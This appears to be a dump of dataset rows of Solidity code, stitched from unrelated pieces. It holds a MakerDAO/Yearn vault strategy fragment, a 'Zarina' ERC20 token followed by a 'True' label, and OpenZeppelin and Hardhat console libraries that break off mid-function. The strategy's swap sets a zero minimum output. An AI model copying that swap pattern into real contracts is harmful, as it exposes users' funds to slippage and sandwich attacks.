function _lockWETHAndDrawDAI(uint wad, uint wadD) internal {
address urn = ManagerLike(cdp_manager).urns(cdpId);
if (wad > 0) { GemJoinLike(mcd_join_eth_a).join(urn, wad); }
ManagerLike(cdp_manager).frob(cdpId, toInt(wad), _getDrawDart(urn, wadD));
ManagerLike(cdp_manager).move(cdpId, address(this), wadD.mul(1e27));
if (wadD > 0) { DaiJoinLike(mcd_join_dai).exit(address(this), wadD); }
}
function _getDrawDart(address urn, uint wad) internal view returns (int dart) {
uint rate = VatLike(vat).ilks(ilk).rate;
uint _dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (_dai < wad.mul(1e27)) {
dart = toInt(wad.mul(1e27).sub(_dai).div(rate));
dart = uint(dart).mul(rate) < wad.mul(1e27) ? dart + 1 : dart;
}
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function shouldDraw() public view returns (bool) {
// buffer to avoid deposit/rebalance loops
return (getmVaultRatio(0) > c.mul(1e2).mul(DENOMINATOR).div((DENOMINATOR.sub(buffer))));
}
function drawAmount() public view returns (uint) {
// amount to draw to reach target ratio not accounting for debt ceiling
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current > DENOMINATOR.mul(c_safe).mul(1e2)) {
_current = DENOMINATOR.mul(c_safe).mul(1e2);
}
if (_current > _safe) {
uint d = getTotalDebtAmount();
uint diff = _current.sub(_safe);
return d.mul(diff).div(_safe);
}
return 0;
}
function draw() internal {
uint _drawD = _adjustDrawAmount(drawAmount());
if (_drawD > 0) {
_lockWETHAndDrawDAI(0, _drawD);
yVault(yvdai).deposit();
}
}
function shouldRepay() public view returns (bool) {
// buffer to avoid deposit/rebalance loops
return (getmVaultRatio(0) < c.mul(1e2).mul(DENOMINATOR).div((DENOMINATOR.add(buffer))));
}
function repayAmount() public view returns (uint) {
uint _safe = c.mul(1e2);
uint _current = getmVaultRatio(0);
if (_current < _safe) {
uint d = getTotalDebtAmount();
uint diff = _safe.sub(_current);
return d.mul(diff).div(_safe);
}
return 0;
}
function repay() internal {
uint _free = repayAmount();
if (_free > 0) {
_withdrawDai(_free);
_freeWETHandWipeDAI(0, IERC20(dai).balanceOf(address(this)));
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
if (getTotalDebtAmount() != 0 &&
getmVaultRatio(_amountNeeded) < c_safe.mul(1e2)) {
uint p = _getPrice();
_withdrawDai(_amountNeeded.mul(p).div(1e18));
}
_freeWETHandWipeDAI(_amountNeeded, IERC20(dai).balanceOf(address(this)));
_liquidatedAmount = _amountNeeded;
}
function _freeWETHandWipeDAI(uint wad, uint wadD) internal {
address urn = ManagerLike(cdp_manager).urns(cdpId);
if (wadD > 0) { DaiJoinLike(mcd_join_dai).join(urn, wadD); }
ManagerLike(cdp_manager).frob(cdpId, -toInt(wad), _getWipeDart(VatLike(vat).dai(urn), urn));
ManagerLike(cdp_manager).flux(cdpId, address(this), wad);
if (wad > 0) { GemJoinLike(mcd_join_eth_a).exit(address(this), wad); }
}
function _getWipeDart(
uint _dai,
address urn
) internal view returns (int dart) {
uint rate = VatLike(vat).ilks(ilk).rate;
uint art = VatLike(vat).urns(ilk, urn).art;
dart = toInt(_dai / rate);
dart = uint(dart) <= art ? - dart : - toInt(art);
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function tendTrigger(uint256 callCost) public override view returns (bool) {
if (balanceOfmVault() == 0) return false;
else return shouldRepay() || (shouldDraw() && _adjustDrawAmount(drawAmount()) > callCost.mul(_getPrice()).mul(profitFactor).div(1e18));
}
function prepareMigration(address _newStrategy) internal override {
ManagerLike(cdp_manager).cdpAllow(cdpId, _newStrategy, 1);
IERC20(yvdai).safeTransfer(_newStrategy, IERC20(yvdai).balanceOf(address(this)));
}
function allow(address dst) external onlyGovernance {
ManagerLike(cdp_manager).cdpAllow(cdpId, dst, 1);
}
function gulp(uint srcCdp) external onlyGovernance {
ManagerLike(cdp_manager).shift(srcCdp, cdpId);
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](2);
protected[0] = yvdai;
protected[1] = dai;
return protected;
}
function forceRebalance(uint _amount) external onlyAuthorized {
if (_amount > 0) _withdrawDai(_amount);
_freeWETHandWipeDAI(0, IERC20(dai).balanceOf(address(this)));
}
function getTotalDebtAmount() public view returns (uint) {
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
uint art = VatLike(vat).urns(ilk, urnHandler).art;
uint rate = VatLike(vat).ilks(ilk).rate;
return art.mul(rate).div(1e27);
}
function getmVaultRatio(uint amount) public view returns (uint) {
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = getTotalDebtAmount();
if (denominator == 0) {
return uint(-1);
}
spot = VatLike(vat).ilks(ilk).spot;
liquidationRatio = SpotLike(mcd_spot).ilks(ilk).mat;
uint delayedCPrice = spot.mul(liquidationRatio).div(1e27); // ray
uint _balance = balanceOfmVault();
if (_balance < amount) {
_balance = 0;
} else {
_balance = _balance.sub(amount);
}
uint numerator = _balance.mul(delayedCPrice).div(1e18); // ray
return numerator.div(denominator).div(1e3);
}
function getUnderlyingDai() public view returns (uint) {
return IERC20(yvdai).balanceOf(address(this))
.mul(yVault(yvdai).pricePerShare())
.div(1e18);
}
function _withdrawDai(uint _amount) internal returns (uint) {
uint _shares = _amount
.mul(1e18)
.div(yVault(yvdai).pricePerShare());
if (_shares > IERC20(yvdai).balanceOf(address(this))) {
_shares = IERC20(yvdai).balanceOf(address(this));
}
uint _before = IERC20(dai).balanceOf(address(this));
yVault(yvdai).withdraw(_shares);
uint _after = IERC20(dai).balanceOf(address(this));
return _after.sub(_before);
}
function _swap(uint _amountIn) internal {
address[] memory path = new address[](2);
path[0] = dai;
path[1] = address(want);
// approve dex to use dai
Uni(dex).swapExactTokensForTokens(_amountIn, 0, path, address(this), now);
}
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pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Zarina is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Zarina() public {
symbol = "ZAR";
name = "Zarina";
decimals = 8;
_totalSupply = 15000000000000000;
balances[0xACdf051e23568A881E9D2390cA27084790491032] = _totalSupply;
Transfer(address(0), 0xACdf051e23568A881E9D2390cA27084790491032, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.6.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logByte(byte p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(byte)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
